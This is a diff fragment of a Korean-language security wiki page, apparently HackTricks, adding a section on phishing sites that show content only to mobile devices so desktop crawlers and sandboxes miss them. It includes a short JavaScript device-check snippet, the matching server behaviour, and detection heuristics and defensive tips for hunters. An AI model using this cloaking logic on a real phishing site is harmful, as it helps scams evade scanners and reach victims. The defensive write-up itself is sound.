{{#endref}} +### Mobile‑gated phishing to evade crawlers/sandboxes +공격자들은 desktop crawlers가 최종 페이지에 도달하지 못하도록 간단한 디바이스 검사를 통해 phishing 흐름을 차단하는 경우가 늘고 있습니다. 일반적인 패턴은 touch-capable DOM을 검사하고 결과를 server endpoint로 전송하는 작은 스크립트입니다; non‑mobile clients는 HTTP 500(또는 빈 페이지)을 받고, mobile users에게는 전체 플로우가 제공됩니다. + +Minimal client snippet (typical logic): +```html + +``` +`detect_device.js` 로직(단순화): +```javascript +const isMobile = ('ontouchstart' in document.documentElement); +fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})}) +.then(()=>location.reload()); +``` +서버에서 자주 관찰되는 동작: +- 첫 로드 시 세션 쿠키를 설정한다. +- `POST /detect {"is_mobile":true|false}` 를 허용한다. +- `is_mobile=false` 일 때 이후 GET 요청에 대해 500(또는 플레이스홀더)을 반환한다; `true`일 때만 피싱 페이지를 제공한다. + +헌팅 및 탐지 휴리스틱: +- urlscan 쿼리: `filename:"detect_device.js" AND page.status:500` +- 웹 텔레메트리: `GET /static/detect_device.js` → `POST /detect` → 비모바일에서 HTTP 500; 정상적인 모바일 피해자 경로는 200과 이어지는 HTML/JS를 반환한다. +- 콘텐츠를 오로지 `ontouchstart` 같은 디바이스 체크에만 의존하는 페이지는 차단하거나 면밀히 검토하라. + +방어 팁: +- 모바일 유사 지문과 JS가 활성화된 크롤러를 실행하여 게이트된 콘텐츠를 노출시켜라. +- 신규 등록 도메인에서 `POST /detect` 이후 발생하는 의심스러운 500 응답에 대해 경고를 발생시켜라. + ## 참고자료 - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) @@ -557,5 +582,6 @@ mobile-phishing-malicious-apps.md - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) +- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) {{#include ../../banners/hacktricks-training.md}}